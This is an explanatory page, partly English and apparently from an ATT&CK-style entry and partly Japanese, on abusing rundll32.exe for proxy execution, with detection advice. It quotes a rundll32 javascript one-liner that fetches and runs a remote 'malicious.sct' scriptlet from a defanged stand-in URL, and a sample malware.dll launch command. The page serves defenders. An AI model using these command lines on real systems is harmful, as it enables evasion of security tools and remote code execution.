Trusted Design
The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.
Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
攻撃者が頻繁に悪用するWindowsの標準ツール rundll32.exe を用いた攻撃手法です。
rundll32.exe は、DLL（ダイナミック・リンク・ライブラリ）内の関数を実行するためのWindows標準コマンドラインユーティリティです。
攻撃者は、通常の実行ファイル形式（.exe）ではなく、DLL形式でマルウェアをターゲットに送り込みます。
malware.dll）をシステムに保存させます。rundll32.exe を呼び出し、引数として保存したDLLと実行したい関数名を指定します。rundll32.exe C:\test\malware.dll,StartProcessrundll32.exe のプロセス空間内にDLLが読み込まれ、悪意のある処理が開始されます。標準ツールを悪用するため、ツール自体の削除はできません。「不自然な呼び出し」を監視することが重要です。
rundll32.exe が実行された際の引数を記録・監視します。インターネット一時フォルダや不審なパスからDLLを読み込んでいないかチェックします。rundll32.exe プロセスが外部IPアドレスと直接通信を行うことは稀です。このプロセスによる不審なネットワーク接続をブロックします。rundll32.exe の親プロセスがブラウザやメールソフト（Outlookなど）、またはWord/Excel（マクロ経由）である場合、侵害の可能性が非常に高いと判断されます。rundll32.exe 自体に脆弱性があるというよりは、「他の脆弱性でコードを実行する際の踏み台」として使われます。
rundll32.exe を介してリモートのスクリプトやDLLが実行されるケースが多く見られました。rundll32.exe を使ってマルウェアをロードさせる攻撃が確認されました。rundll32.exe を利用した検知回避が組み合わされました。この攻撃手法に関連する CVE は登録されていません。